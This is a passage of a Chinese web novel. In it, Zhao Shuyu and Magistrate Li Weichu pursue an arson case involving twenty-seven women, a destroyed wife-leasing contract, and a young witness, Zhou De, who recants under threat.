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>会是巡抚的吗?
她……
一定要查!
一定要将二十七女火烧案给查得水落石出!
她倒要看看这里头究竟藏着多少牛鬼蛇神。
“你是想查操纵二十七女背后的人,是吗?”李惟初轻启薄唇问道。
她的眸中划过一丝茫然,回过神来后她立时重重点了两下头。
李惟初却低头不语。
“……你忘记我给你的忠告吗?”
[如果你足够聪明,就别再调查那二十七个女子背后的死因。]
这句话倏然从赵疏玉的脑海中升起,连带着话语中的警告都空灵般回荡在赵疏玉的耳边。
“为什么?”赵疏玉问道。
“不许问这么多。”李惟初眸光晦涩不明地将她送到住处,说这句话时锦夏早早在门口等着了。
她见远处有灯光,便立时打开了门来迎赵疏玉。
锦夏在看到赵疏玉的一瞬间,空气中好似划过一抹残影,接着这道残影就立时出现在赵疏玉的怀里。
“赵姐姐,你终于回来了……怎么这么久?你明明说过就一小会儿的。”锦夏不高兴地嘟囔着嘴。
赵疏玉低头瞥见锦夏鼓鼓的腮帮子,手不知怎么的轻轻戳了一下,而后惊觉不妥,她立马撤回手,将锦夏推开。
皱眉道:“成何体统。”
“姑娘,你明明说我在你面前可以不用这么规矩的。”
我什么时候说过这样的话?
赵疏玉可不记得她说过这样的话。
“是姑娘你说,你不喜欢虚礼,是吧?所以……”锦夏的亮晶晶眸光瞬间黯淡下去,耷拉着脑袋道,“姑娘的话只在记得的时候才作数,是吗?”
“你啊。”赵疏玉笑着摇了摇头。
她实在是拿锦夏没有办法,心头那一丝阴翳似乎也散去了。
李惟初见二人的互动,不禁有些诧异地低头看向赵疏玉,问道:“你什么时候和她这么熟络了吗?”
锦夏不敢和李惟初那道阴鸷看透人心的眸子对视,她低着头,往赵疏玉的怀里缩了一下。
紧接着她可怜巴巴地拉了拉赵疏玉的衣袖,小声嗫嚅道:“赵姐姐,我们,回去吧?”
赵疏玉给了李惟初一个冷冰冰“勿扰”的眼神,随后转身就要跟着锦夏回屋。
“等一下。”李惟初看着她们的背影,有种莫名的刺眼。
他轻蹙了一下眉头,走上前,“你一介婢女,如何挽着姑娘?”
锦夏吓得一下撒开攥住赵疏玉的臂膀。
但李惟初似乎还想要再步步紧逼,赵疏玉却一下挡在锦夏身前,道:“你挑什么刺?”
“你竟敢用这种语气跟我讲话?”李惟初的面色瞬间冷峻下来,全身都散发着一股“我很不高兴”的气氛。
赵疏玉却不解地蹙眉问道:“你好端端的发什么疯?”
李惟初垂下眸,掩盖了不知什么情绪,但很快他又端正站好,抖了抖袖袍,一副刚才什么都没有发生过的样子。
他重又恢复成如天上月光般高冷的姿态,清冷的月辉洒在他的身上,衬得他长身玉立,高高在上,一袭绛紫色云袍使之如天上谪仙一般。
误入凡尘污泥,却仍如莲花一般出淤泥而不染,又如菊花一般,高洁疏离,不染尘埃。
可他怎么能忘了,他早就被人狠狠从神坛之上一脚踹进卑微的泥泞之中,死死踩着他的脑袋,不让他有半分喘息之机。
他怎么……能忘记!
24. 巡抚莅临,危机再现(2)
“主上……”
维寻铁青着脸疾疾朝李惟初跑来的姿势略显怪异。
他神色罕见地有些紧绷着,像是如临大敌。
附在李惟初耳边低声说了什么后,方才松驰的情绪陡然整个人紧绷着,而他的目光被一抹尤为浓郁的沉重所替代。
他低声回了一句,“我知道了。”
而后立时便转身走了,维寻在无人在意的身后龇牙咧嘴轻轻揉着自己差点被凉丝打开花的屁股,哀怨地抬头与他对视一眼。
而凉丝则提着灯肃然转身,无视他的眼神。
望着李惟初迅疾离去的背影,赵疏玉的神色不禁微微加深。
而锦夏却并没有注意到她神色的变化,只是嘟囔着小嘴轻晃了晃赵疏玉的臂膀,她道:“赵姐姐,我们回去吧,这风吹得我好冷哦。”
说着她双手摩擦掌心,哈了几口气。
赵疏玉抬头望去,猛然发觉李惟初屋前的槐树上,团团洁白如雪的槐花如一串串葡萄般挂在树枝上,一阵清风吹来,还带着些冷冽,槐花如同风铃一般在空中轻摇微晃。
可花瓣上生出的萎靡俨然彰显着一副花开将败的趋势。
这是……
成片的槐花被风吹落在地,赵疏玉很想伸出手去接落花一片,却在抬手之余,只感受股股绵密而带有一丝清冽的微风。
第七年了。
阿余,已经离开她七年了。
夏末的暖风裹挟着有些凉爽的秋风向赵疏玉拂面而来,轻轻吹动起她鬓边的乌发。
一阵风而去,赵疏玉掩下落寞的双眸,轻轻拍了两下锦夏泛着凉意的指背,“进去吧。”
进到屋中,锦夏忙去茶桌上倒上一杯冒着腾腾热气的白开水递给赵疏玉,口中不禁咕哝道:“不知今年冬季会冷成什么样……”
温热的茶盏向赵疏玉冰冷的指尖传输着暖气,一杯热水下肚,也渐渐压下她浮上心头的冰冷。
锦夏却一脸紧张地看向她,颇为忐忑地问她道:“水,水温如何?”
“你不用这么谨小慎微,我就喜欢喝烫的。”
赵疏玉又给自己倒了一杯,直直仰头喝下后,锦夏才松了口气。
转而又笑着问道:“赵姐姐想吃什么吗?我去厨房里拿。”
“厨房今日炖了水晶糖醋猪肘,炙羊肉,葡萄冰酪,金陵板鸭,唔……还有香酥肉。”锦夏笑盈盈地看着她,“姐姐你想吃什么呀?”
怎么都是荤菜……
赵疏玉默默摇头。
夏末,蝉鸣声渐渐淡去,而李惟初向来不喜蝉鸣聒噪,故而他屋前槐树上的寒蜩一定要下人们尽数除去。
一室之内,烛燃天明,灯芯扭动着腰肢,无色的烟气夹杂着闪烁的黑烟飘于半空,周室之中无比沉闷。
李惟初右手指尖轻轻点在一个崭新刻着槐花样式的木盒上,不轻不重,却给人带来一种生命即将进入倒计时的慌乱感。
生命似乎在一点一点地流逝,指尖敲击落在木盒上的每一声都仿佛都透着一股强烈令人窒息的束缚感。
就好像自己的咽喉被人死死捏在手心里。
良久,微沉暗哑却透着深深疲惫的声音从桌案的一头缓缓响起。
“……殿下仁慈,救我于生死远贬江南,让我远离京城,得以一息喘息之机。”李惟初说着,他的眸光微沉,嘴角却忽然微扬,露出一抹十分讥讽的微笑。
“即使殿下帮我偷来这三年时光,却仍是无济于事……我仍旧无法摆脱他们的控制……”
“只要她,在他们手中一天,我就永远……只能受他们摆布。”
维寻看了情绪略有些不稳的李惟初一眼,垂下眸并不作声。
而一旁的如影闻言,眉眼处涌动起不甘的神情,忿忿道:“主上为了她差点将命都丢在京城里……可他们却仍然穷追不舍,竟一路追下江南……实在是,孰不可忍!”
“主上……”
“出去。”李惟初的眸色里蕴藏着无限的痛苦,可真实表露出来的却是阴鸷与冷漠。
如影还想说些什么,维寻却猛地拽了一把他的衣袖,朝他摇摇头。
李惟初却疯了一样一把将桌案上的案宗书卷猛地一推,顷刻间这些卷轴哗啦啦七零八落地躺在地上。
“出去。”
李惟初又重复了一遍,语气中似乎淬了冰霜,声音也比方才更沉冷阴戾。
这意味着,他的耐心已经到达了上限。
维寻和如影二人面面相觑一眼后,低低向他行了一礼后告退。
他狼狈地坐在地上,衣服因着方才推宗卷的动作而有些凌乱,甚至连他头上一直以来带着的发冠都歪了,几缕发丝散落在眼前,眸中却是无穷尽的绝望。
眸底是深不见底,寒冰刺骨的深渊,仿佛又将他拉回那些曾经令他不愿回想,生不如死的日子。
不多时,一道黑影遮盖在他身前。
他甚至没有抬起双眼,只是冷淡吩咐道:“去领100大板。”
“你竟也会痛苦吗?”赵疏玉挑眉低头看向他,可脸上并无一丝一毫的讥讽,似乎还很讶异。
“我从来不是你手底下的人,我们只是合作关系。”赵疏玉顿了顿,目光转了一圈屋中凌乱的场景之后重又定回李惟初的身上,“所以你无权命令我。”
“滚出去。”李惟初冷峻的目光直逼着她赶紧滚开自己眼前,可她却丝毫不畏惧地垂眸迎了上去。
沉静而幽深,似乎能将李惟初眸中包裹着的寒冰融化。
甚至她还向前走了一步。
先是不解道:“我不明白为什么你会突然变成这样,可看你的样子,似乎是……怕了?”
“想向他们认输了?”
似曾相识的一句话,恍如隔世。
李惟初曾也这么问过赵疏玉。
他缓缓对上她一双总是十分平静的眼睛,似乎没有什么可以撼动她内心的情绪,使她慌乱,使她放弃沉定自若而自顾不暇。
可李惟初却在这一双带有着质问,疑惑,甚至还有那么一丝丝同情的目光中,逐渐镇定下来。
他将脸别过一旁,一半深深匿藏在黑暗中,良久,他才倔强地吐出三个字。
“才没有。”
可如赵疏玉这般机智聪慧的女子,心底下似乎隐隐已经有了什么猜测。
只是她知道,他二人的感情还没有到能够互相吐露“真相”的那一刻,如果她此时提问,想必只会引起他的猜忌和警惕。
左右权衡,她还是将心中的疑问压了下去,静待时机。
赵疏玉向李惟初伸出一只手,目光平静地看着他,对他道:“起来。”
满屋亮堂的烛光映照在赵疏玉的身后,她的周身似乎微微勾勒起发光的线条,配上她神情冷漠,不苟言笑的神情。
实在像天上清心寡欲却垂爱众生的神女。
降临于世,拯救于他。
是在救他么?
还是要将他推向无尽的深渊呢?
不得而知。
他只知道,如今的自己,正伸出手,缓缓覆在她的掌心上。
在触碰到她掌心的一瞬间,一股冰冷的触感从他指尖而起,犹如电流一般迅速席卷全身,最终冲上他的大脑,让他终于恢复了些理智。
“抱歉。”
这是李惟初第一次似乎是真心实意地说出口。
毕竟他上一次道歉的语气可是充斥着戏谑。
抱歉什
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么呢?
赵疏玉想。
可没有后续了。
李惟初已经走了。
他揽了揽衣衫,或许是不想让自己这么狼狈,李惟初微抬着头,矜贵地抬起镇定自若的步伐向门外走去。
他走之前,手中紧紧攥着那个刻着槐花样式的木盒。
似乎……
赵疏玉想。
盒子里的内容就是她心中所求的“答案”呢?
李惟初刚走不久后,锦夏便也从不远处的朱红色柱子后面窜了出来,大着胆子走到赵疏玉身边,眼睛紧紧盯着某一处,但却并没有聚焦于一点,生怕看到一点自己不该看到的东西。
“赵姐姐我们赶紧走吧……”锦夏颇有些害怕地催促道。
因为在她的印象里,李惟初的书房是所有奴婢小厮乃至所有人不可踏足的禁地。
只有他几个极为信赖的亲信才可进入,平时都有人看守着,明卫暗卫缺一不少。
所以她极为害怕,如果被李县令知道自己擅闯禁地之后会有什么可怕的后果。
脑海中那七具被乱棍打死的官差似乎记忆重现,令她不禁打了个寒战。
“赵姐姐,你想吃的金陵烤鸭小厨房已经做了一份送来,我们要不……回去吧?”
赵疏玉垂眸看向浑身不自在,警戒着东张西望的锦夏,点头道:“好。”
锦夏如释重负,她忙不迭拉着赵疏玉便走了。
可走在路上时,赵疏玉却陡然问她道:“你进府几年了?对李县令知道多少?”
锦夏却是一愣。
她不明白好端端的,赵疏玉为什么要问这个。
不过她还是答道:“我入府时间晚,是被管事的买回来的。”
说着,她还挠挠脑袋不好意思地对赵疏玉笑了一下,“我当时被几个男人抓住后又落入老鸨之手差点被卖入青楼,是我自己死皮赖脸地贴着管事的一口一个亲哥哥的叫,他……”
锦夏嘟囔着嘴巴,似乎很是讨厌地说了一句,“他把我嘴堵上后将我揣肩上送县衙来了。”
说完,她吐了吐舌头,“我还以为他要和我上公堂对峙亲兄妹的事,还好他没有。”
“只不过对于李县令……”锦夏摇摇头,她道,“我只是一个做粗活洒扫的小婢女,没资格贴身侍奉县令左右,况且县令从不用女婢,只他身边几个如凉丝,如影这样的人在侧。”
她嘟着嘴又想了想,才道:“我对县令并不熟悉,但县令威风凛凛,治下有方,江南百姓都很敬畏他。”
最后实在是想不出来了,她摊了摊手,眼神中有些歉意地道:“抱歉赵姐姐,我只知道这么多了。”
赵疏玉点了点头,没有再多问,二人走着走着,她却忽然又开口问道:“你口中把你带进县衙的管家,是维寻吗?”
锦夏脸色一白,她深色慌乱地瞥了一眼赵疏玉,磕磕绊绊道,“是,是的,赵姐姐。”
她这也太细心,太聪明了吧!?
她怎么知道是维寻?
好像是知道锦夏心中所想似的,赵疏玉耐心地向她解释道:“因为你在一开始见到维寻时的神态……很不对劲,好像很心虚。”
好像很心虚……
这恐怕也成为了赵疏玉怀疑她是嫌疑犯,某种程度上的“证据”?
不过赵姐姐她真的好厉害呀,这都能看出来。
想着,她就不住夸道:“赵姐姐真厉害,赵姐姐好聪明,赵姐姐真真棒!~”
“不。”赵疏玉很无情地揭露道,“只是你表露地太明显了。”
说着,又致命地往锦夏心里戳了一下。
“那日,维寻似乎也对你的反应十分意外,所以他也在暗处盯着你。”
25. 巡抚莅临,危机再现(3)
三更夜深,鸡鸣打更的声音似乎从遥远的天际随着清风飘然而至。
赵疏玉在一声拉长音调的鸡鸣声后施然坐起。
她往周围转了一圈,并未有什么情况,这之后她才翻身下床。
当日李惟初将那二十七位女子的典妻文书都拿在他的手里保管,而赵疏玉能做的就是在不被他发现的情况下将周玥的典妻书给塞进宽大的袖袍之中。
她做得极其隐蔽,决不会有任何一人看出端倪。
方才晚膳时分,锦夏在饭桌上言道周玥被人四肢捆绑且灌下不少的药量,尚在昏睡当中,而周德……
赵疏玉紧了紧手中的典妻文书,一把推开屋门,跳上屋梁后不消片刻便已消失在黑夜之中。
她的身影再次出现时,已立于牢狱之前。
赵疏玉一路敲晕看守行至周德的狱门前,迅速蹲下身子从看守身上取出钥匙,打开狱门。
而在她推门而入的一瞬间,熟睡在床上的周德却如惊弓之鸟一般猛地坐起,一双漆黑的眼睛惊恐地看着她。
赵疏玉却将门一关,静静地走到他床头,望向周德一动不动却很警惕地撑在床上的模样。
“放松点。”她轻微叹了口气,从袖中掏出那张周玥的典妻文书递在半空中,对上他震惊的眸光,赵疏玉解释道,“我本意今晚是想将它烧毁,只是我认为,还是得由你自己亲自去烧毁它。”
周德从赵疏玉手上接过他姐姐的典妻文书,指尖隐隐泛白,眸中隐有泪光扑闪。
他双手紧紧攥着这张典妻文书,看着上面的黑字喉中哽咽地说道:“谢谢你。”
十三四岁的年纪,本该是天真无邪,心地最为纯净的时候,却因为生活经历的种种,迫使他看尽世态炎凉,被迫要成为这个家里最后的顶梁柱。
幼小的心灵却要承受远超于他这个年纪应该接受的世界,被迫着练就极尽早熟的思想,可追究到底,他也只是一个十三四岁的孩童而已。
一个,你即使是无缘无故给他一根棒棒糖,他都能呲着大白牙对你笑兮兮的小孩子啊。
何况,对于他来说,是影响他姐姐一生的事情。
烧红的铁具挑开沉寂在岩浆谷底的木炭,红得发亮的火焰交碰,在空中暴起一个威慑力不算太大的火星。
之后,一阵噼里啪啦令人胆寒,略带威吓的声音响起。
赵疏玉对他示意了一下,说道:“就将它放在这里面吧,你自己来。”
周德紧紧攥着手中的典妻文书,鲜红的火焰映照在他的眸底,闪耀着澎湃雀跃的火花。
他一松手,典妻文书稳当当落入烧红的木炭当中,登时,火盆之中窜出一米多高的火焰,熊熊燃烧着,直至烧成灰烬。
看着这窜天的火焰,周德直发愣,看着火焰周围不断踊跃扭动的气流,心中忽升起一股不真实的感情。
这是……真的吗?
自己亲手烧掉了,能够影响姐姐一辈子的东西……
是吗?
姐姐从此,终于自由了,自由了,是不是……
火焰窜得太高,似乎是周围的热流刺激得周德落泪抽泣。
热流太强,竟使他的鼻头一酸。
火焰逐渐熄灭,而赵疏玉也不知何时站在了他的背后。
似留空间于他感慨,不让他感到尴尬。
调整好了情绪的周德,甫一转身,就听见赵疏玉在他耳边说道:“周德,明日你需要说实话,明白吗?”
“你只有说实话,才能让真正的凶手受到惩罚,从此你就一心考取功名,给你姐姐谋个好夫家,才能替她撑腰。”
“是。”周德跪下,感激涕零道,“一切都按赵姑娘说的做。”
赵疏玉却一把将他半跪下去的身子扶起,颇有些无奈道:“你不要跪。”
“不过……”周德瞥了一眼门口,有些疑惑地问道,“姑娘向来都有县令的令牌,为何还要打晕了他们?”
赵疏玉垂眸想了一下,问道:“你全都看见了?”
周德点点头,他道:“是在姑娘关门的一瞬间,我惊醒时看见的。”
“我也不瞒你。”赵疏玉坦诚道,“李惟初给我令牌任我府上随意差遣的同时也在监视我,周玥的文书是我趁他不注意藏起来的,既然要销毁,自然不能再让那些通风报信,坏了事情。”
周德点头,知道这是赵疏玉心里的话,坦诚相待于他。
他父亲曾教过他一句——诚信换诚心。
他虽然才十四岁,可他辨得是非对错,辨得明暗人心。
他心中知道赵疏玉为自己付出良多,苦心一片。
他自然,不能让她失望。
“赵姑娘,我日后定当好好温书,考取功名。”
一颗小小的种子在他心中悄然播种,雨露甘霖,终将有一天这颗小种子会长成参天古树。
“为了姐姐,为了自己,也为了不让姑娘对我失望。”
赵疏玉从周德处回来之后,已将近五更天,天将露白,她拖着有些疲累的身子走回房间一头栽倒在床上。
她已经不知道这是她进入这个世界以来第多少次没睡过一个好觉了。
这具身体在强烈地向她提出抗议。
为着这具娇弱不堪的身子,她也不得不睡了。
可还没睡上两三个时辰,门外响起一连串的敲门声,但赵疏玉还仍沉浸在梦乡之中并没有理会。
而下一刻,一双柔软的小手却晃了晃她的身子。
赵疏玉好像做了一个梦,梦见自己正睡在香甜的摇篮里,却不知哪伸出来一只粗鲁巨大的手,一把将她推翻在地,连带着摇篮里软软的枕头和香香的被子,一同掀翻在地。
赵疏玉猛地惊醒,她坐起身,颇有些虚无缥缈,整个魂魄悬在空中的感觉。
她一拍颅顶,将三魂七魄打回体内,定了定心神后,睁开还有些迷蒙,但意识已经清醒的眼睛,迷迷糊糊看向那只“罪魁祸手”。
锦夏神色担忧且有些慌张地说道:“赵姑娘,县令喊你上堂,刘世尧,周德,窦扬和春禧姐姐他们都已经到了。”
“嘶……我知道了。”赵疏玉简单地应答着,并没有对今天这次上堂的过程有多放在心上。
因为她知道,这场官司,她赢定了。
简简单单地梳妆后,她换了一身不拖沓的玄色劲装,整个人看上去精气十足,眸中亦是炯炯有神,带着股稳如泰山的平静之气出了门。
几乎是在她步入堂上的一刹那,所有人的目光都齐聚她的身上。
这几日小厨房一日三餐流水似的给她吃各种大补之荤,又在上午和下午和晚饭后分别一茶,一叠又一叠当季的各种酥饼接连不断地往她屋子里面送……
她真的感觉自己有被喂胖一点。
但可能是她自己觉得的,落在李惟初眼里,可就并不这么觉得了。
唔……
还是太瘦了。
一道无法忽视的目光像鹰一般锁视在赵疏玉的身上,却在赵
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疏玉抬眼望去的一瞬间,拿到目光又惊奇似的消失不见了。
见众人皆以到堂,李惟初凛冽的目光锐利地扫视了一番在场之人,不苟言笑,十分威严道:“肃静。”
李惟初大力将惊堂木一拍桌面,“啪”的一声,有力而威慑,令众人的眼神不禁肃然。
遵循着章程问了大半晌的话,而今日的李惟初似乎也格外轻松,脸上神情无异,好似昨晚上发生的一切都是镜花水月。
章程的一切似乎进行地都很顺利,先是过问刘世尧和赵疏玉二位原告和被告,接着便到举证环节。
刘世尧坚定地说当日的纵火犯就是他并让周德给他作证。
而赵疏玉这边的证据链却非常充足了,窦扬和春禧都说是刘世尧指使自己去纵火,并且还让一个蒙面人和他们相互传达消息,又将手帕,燧石和磷粉拿出,几乎成为了铁证。
但刘世尧却偏偏说这些证据不能证明是自己指使他们去干的,因为他们查不出这燧石背后之人是谁。
但当赵疏玉将那块扁了一块地方的银子拿出来证明时,刘世尧却一口咬死“死无对证”这四个字,一时间,又是僵持不下。
而昨晚上答应她要将所有一切真相说出口的周德此时又不知为何缩着脖子不敢作声,说出的回答也是模棱两可。
赵疏玉的视线一直在周德的身上停留。
如今目击那天晚上所有一切的人只有周德,可他却迟迟不表态,令赵疏玉不禁心生疑惑。
这究竟是怎么回事?
如果他说出所有的真相,周德的身上没有一丝伤痕,就算刘世尧想反咬“屈打成招”也无从再狡辩,届时,真相大白,案件也可以结了。
可为什么,为什么周德一个字都不说呢!
周德所表露出来的神态尤为的心虚,莫说与赵疏玉对上目光,就算是头,他也一刻不曾抬起。
李惟初又问了一遍周德。
“周德,你确定当晚,你什么看见的女子,真的是赵疏玉吗?”
一句问话,回复的是漫长的等待。
最终,周德几乎将头贴在地上,他一字一字,十分笃定地答道:
“是。”
赵疏玉今日一身劲装,故而本来该深深隐藏在袖袍底下的手如今袒露四方,紧紧握起,清晰可见她手背上的青筋。
她侧眸看向周德,眸中却是无尽的疑惑,不解,甚至还带着一丝烂泥扶不上墙的气恼?
可只一瞬间的气恼过后,她却坚定地否认了。
他最在意的是周玥,而赵疏玉在和周德的接触中也明知他是一个明事理的人,所以他是坚决不可能放弃这样一个大好前程去与刘世尧狼狈为奸。
这其中……或许藏有什么隐情?
可这隐情到底是什么?
又是什么时候让周德知道了这个隐情,才让他临阵反水的呢?
赵疏玉眼眸微眯,眼神中颇有些兴趣地流转在刘世尧和周德的身上。
而后她毅然看向坐在大堂中间,上首的那人,道:“县令,如今双方对峙,迟迟不出结果,不如先让衙役们整理一番,梳理后再做庭审如何?”
话音刚落,她的目光转向刘世尧,眸中半是笑意半是冷漠地看着他,征求他的意见,“刘坊主觉得意下如何?”
刘坊主看向赵疏玉,这个女人看似人畜无害,实际上心底下憋了不知道有多少坏主意,若此时叫停,恐怕会对自己不利。
可思虑再三,他还是决定……
26. 巡抚莅临,危机再现(4)
“县令……”刘世尧方想说‘不妥’,可坐在上堂的男人并没有给他说下去的机会。
他大力拍了一下惊堂木,直截了当地宣布道:“休堂。”
临走时,他淡漠而如蜻蜓点水一般给了赵疏玉一个眼神,只不过她却是一直微垂着头紧紧拧眉,也不知道有没有注意到他的示意。
李惟初挥袖离堂,一干人等也暂时被看管了起来。
周德从开堂开始就再没有将目光从地上移开,一直到现在,三魂五魄似乎都被五常勾走似的,呆呆地坐在地上,面如死灰。
紧接着身边的衙役将他周德两只胳膊架起,拖了出去。
而他也只是任由他们拖行,两只胳膊好像丧失了所有力气一样,软在他们强有力的臂弯里。
赵疏玉断定,周德一定是出事了。
若说上一刻她还是猜测,那么在看到刘世尧嘴角不经意流露出的那一丝意味不明的笑容之后,赵疏玉便肯定了。
绝对是他在暗中搞鬼!
可究竟是什么……能让周德临阵反水呢?
威逼还是利诱……
出门之时,刘世尧却是露出十分得逞,挑衅的笑容,挡在赵疏玉面前,一脸胜券在握的模样。
“我说过,你会为你的行为付出代价。怎么,你以为找出了纵火的人就一定能摆脱嫌疑吗?还想趁机将我拉下水?我呸!”
刘世尧“呸”了一声,一副小人得志的模样,“有这闲工夫,还不如乖乖认罪,再跪下求你小爷我,说不定小爷宽宏大量,饶你一命。”
赵疏玉气定神闲地迎向他的眼神,问他道,“你想弄死我吗?”
这么直接而又赤裸裸的询问,倒是让刘世尧不禁愣住,一时不知该作何回答。
“你……”
赵疏玉撞开他的肩膀,满脸不屑道:“那我等着。”
她没有再和他多说,径直走出了门口。
刘世尧自觉被她一个臭婊子羞辱,一时火冒三丈,在背后指着她不停辱骂着,将应持礼节全都抛在脑后。
“臭婊子,到时候将你献给大人,我看你还能不能继续这么风轻云淡……”
而赵疏玉却已经是完完全全地消失在他眼前,根本没有听到他的这一番话。
她路到中转,又急忙掉头去找周德,而李惟初却先一步去到周德那边。
狱中二人交谈的声音细小却清晰地传进赵疏玉的耳中。
李惟初刚开口说出的话却令赵疏玉无比震惊。
“你为何还不说实话,还有什么后顾之忧?”
这句话虽未挑明,但赵疏玉在听到这句话之中,心中隐隐有了一个猜想。
李惟初,一定是知道了什么!
周玥的典妻文书……
她偷了这么久李惟初都没有发现,以他敏锐的性格,怎么可能发觉不出?
若不然……
便是他默许的。
他允许赵疏玉偷走周玥的典妻文书,允许她去销毁,甚至于,难道,这一切都是他所预料到的吗?
她所做的一切,都在李惟初的掌握之中吗?
心脏在胸腔之中似乎在剧烈的扑通着,这样毫无证据的推测,到底……是否正确。
李惟初的心机城府深不可测,若是有朝一日自己站在他的对立面,谁输谁赢倒还不一定。
只能默默先观察着……
“还不出来?准备在门后藏多久,赵疏玉。”
李惟初的眸光侧撇,看向赵疏玉藏身的那扇门之后。
她一点都不惊讶自己会被他发现,这满狱都是李惟初的人,想是自己前一秒刚踏进大牢,下一刻他就会立马收到消息。
何况自己也并不想躲着偷听。
赵疏玉双手环胸淡定地从门后款款走进门,道:“我可不像某些人爱听人墙角。”
“不过赵某真是佩服李县令这眼观六路耳听八方,脑后还长了一双眼睛的本领。”
“无礼。”李惟初淡淡地批评了她一下,语气不算苛责,也听不出责备的语气。
而周德在看到赵疏玉的一瞬间,他立马把头低下,死死地咬住嘴唇,唇齿连紧,脆弱的唇皮被他咬破,腥甜的血液涌入口腔,心头的愧疚就如口腔中愈浓的血腥味似的,猛烈生长。
周德提了几口气,但喉腔中似乎都憋着一股气不让他吐出口,他的话哽在喉头,随着不明显的喉结滚了滚,又吞咽下肚。
就算是现在像赵姑娘承认错误,她也是不可能原谅自己了,他还有什么问的必要呢?
更何况,他还有什么脸面去说“对不起”。
赵姑娘对自己已经仁至义尽了,是他自己不争气,不能给姐姐,不能给赵姑娘一个好的交代。
这样懦弱无能的自己……
死了,会不会一了百了……
刘世尧,才会彻底放过他的姐姐呢?
“发生什么事了?”赵疏玉在李惟初的默许下走到垂头丧气的他身前,耐心询问道。
周德想过千万种赵疏玉开口对他责怪质问或是失望的话,但她没有。
他在关心自己。
这一切,都发生了什么。
她是这个世界上最聪明的女子,她知道,自己是被逼无奈的,对不对……一定是这样。
在他失神的片刻,赵疏玉耐心地等着,但李惟初就并无那么好的耐心了。
“说。”李惟初言简意赅地吐出一个字来,凉丝立时握住火炉中的火钳,在烧得通红,滚烫的木炭里滚了几圈。
大有一副再不说实话,就要上“真本事”的恐吓。
赵疏玉轻轻叹了一口气,她道:“你这样憋着不说,我们都不知道刘世尧究竟是威胁了你什么,或者,又是给了你多少好处……你一概不说,我们如何得知?”
“休堂不过半炷香的时辰,待香燃尽你若还不说出真相,本官便将你们扔到大街上,本官倒要看看,谁敢救你们。”
二十七女纵火一案影响极为恶劣,巡抚今日即将到来,他若不能将这桩案子破了,巡抚一旨御状告上朝堂,参自己一个为官不治之罪,他自己远在江南,便是想辩驳也无可奈何。
届时殿下的计划接会作废。
想及此,李惟初袖下的手不禁紧紧握起。
他决不能让这种事情发生!
只是许多事情自己所受限制颇多,无法露面亲证,否则……怎会允许刘世尧此人无所畏惧,在堂上颠倒黑白,底气十足!
若按他以往风光之时,雷厉风行,做事斩草除根,对付刘世尧就像是捏死一只蚂蚁一样简单。
如今虽落魄如丧家之犬,可也没到虎落平阳被犬欺的地步。
刘世尧这样嚣张跋扈的姿态,他便是千忍万忍,忍到极致了!
周德却是“噗”地一声跪在地上,以头狠狠抢地,哭到声泪俱下,一副似乎被逼到极致,支零破碎一般地回道:
“刘世尧,他,他这个心狠手辣的贱人……他,他不知从何处又拿了一张姐姐的典妻文书……威胁我……让我什么都不要说……否则他就让我姐姐明天就拉进他府里做典妻。”
到底是十四岁的小男孩,急躁之时却连说话都有些颠倒。
赵疏玉垂眸思考,正想应对之策。
正当这周围一片寂静之时,门外忽然响起一道响亮,中气十足的女声。
赵疏玉心中略有些讶异地向后看去,这里可是大牢,死狱,平常可没几个女子敢闯进来。
到底是谁胆子竟然这么大?
女子有一张圆润的大脸,双眉的颜色极深又粗,眉眼之气一股英气逼人,一双大大的眼睛中尽是威武不惧之气,真到应了那句“浓眉大眼”。
“周德,父亲平日是怎么教你读书写字的?难道都读到狗肚子里去了!?”
身份不明的女子目光直逼周德,大步迈向他,粗眉竖起,眼睛圆睁,一副来者不善的气势。
赵疏玉方还在想这女子是谁,但见他能准确无误地叫出周德的名字
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,又直称“父亲”,她便可确信这就是一直昏迷着的周玥了。
李惟初站在她身后,也小声地在她耳边道:“周玥。”
赵疏玉点点头,神态之间并未有异色,想必是早就猜中了。
“你让她来的?”赵疏玉疑惑不解。
事实上,因为这几日的事情一茬接一茬,她实在是腾不出空来去看周玥的身体状况,只听得锦夏在她耳边提了几嘴她恢复得怎么样了。
昨日锦夏才说她还在昏迷着,今日就已经醒了,而且看样子,精力十足,想必是大好了。
李惟初却摇摇头,他道:“是锦夏。”
“她?”赵疏玉皱眉,略有不解。
李惟初轻声嗯了一声,道:“锦夏听闻你在堂上之事,维寻说,似乎是急得团团转……听说周玥醒了,立马就去找了周玥。”
“怪不得她能这么顺利地进来,想必也是你早下吩咐了吧?”
李惟初不可置否,只道:“姑娘聪慧。”
赵疏玉却冷哼一声,再不理他。
周玥一把揪住周德的耳朵,把他从地上拽起来,如河东狮吼般近乎贴在他耳边吼道:“你个狼心狗肺的狗东西,爹娘教你的全混忘了是吗!啊?!你竟然如此对待你有恩之人是吗?你要还有点良心,该是什么就是什么,一五一十地说出来!否则,我再不认你这个弟弟,你以后也别叫我姐姐!”
周德被周玥揪得一声不吭,死死垂着脑袋,就好像一个做了错事的小孩子,惊心动魄地迎接母亲的关爱。
“我一直以为,他姐姐该是娴静典雅一类的。”李惟初忽然在她背后开口说道,“不过今日一见,才知想象和现实还是很有差距的。”
赵疏玉早就习惯了李惟初突如其来的幽默和清奇的思路,只是敷衍道:“是啊,人不可貌相嘛。”
“她的容貌……”
“怎么了?”赵疏玉扭头,向他投去一个危险的目光,好像是他下一刻敢随随便便以自己的审美去评价别的女生长相如何,她下一刻一定会抡起自己的大拳头在他面前挥舞一番。
“倒是合她那份性格。”李惟初丝毫没有在意赵疏玉向他投递来的视线,陡然之间又转了三百六十度的话题问她道,“你打算怎么应对刘世尧的威胁?”
“典妻得是有妻才可以典。”赵疏玉淡淡道:“她只是一个未婚女子,典妻一事从何说起?”
“你就真的相信周德对你没有任何隐瞒了吗?”李惟初声音沉沉地问道。
“你想说什么。”赵疏玉直接问他。
“他的姐姐,早已成了刘世尧府上的小妾,就跟沈怀夕一样。”
闻言,赵疏玉才彻底愣在原地。
她不可置信地转身看向他,“当真如此?”
李惟初微微抬了一下眉,他道:“你觉得呢?本官的暗卫们都是吃空饷的吗?”
“……”
空旷的牢狱中周玥骂弟的声音一声更比一声高,骂得门口的官差们脸色一变再变。
“可这样一来,这盘局就是死局,无解。”赵疏玉缓缓分析道,“周德不可能拿他姐姐的一辈子来赌,刘世尧报复心极强,必会想尽了法子去折磨周玥。”
“所以这场纵火案,就是无解的。”
“一个咬一个,就没有意思了……”
李惟初点点头,问道:“那依你所言,你想怎么做?”
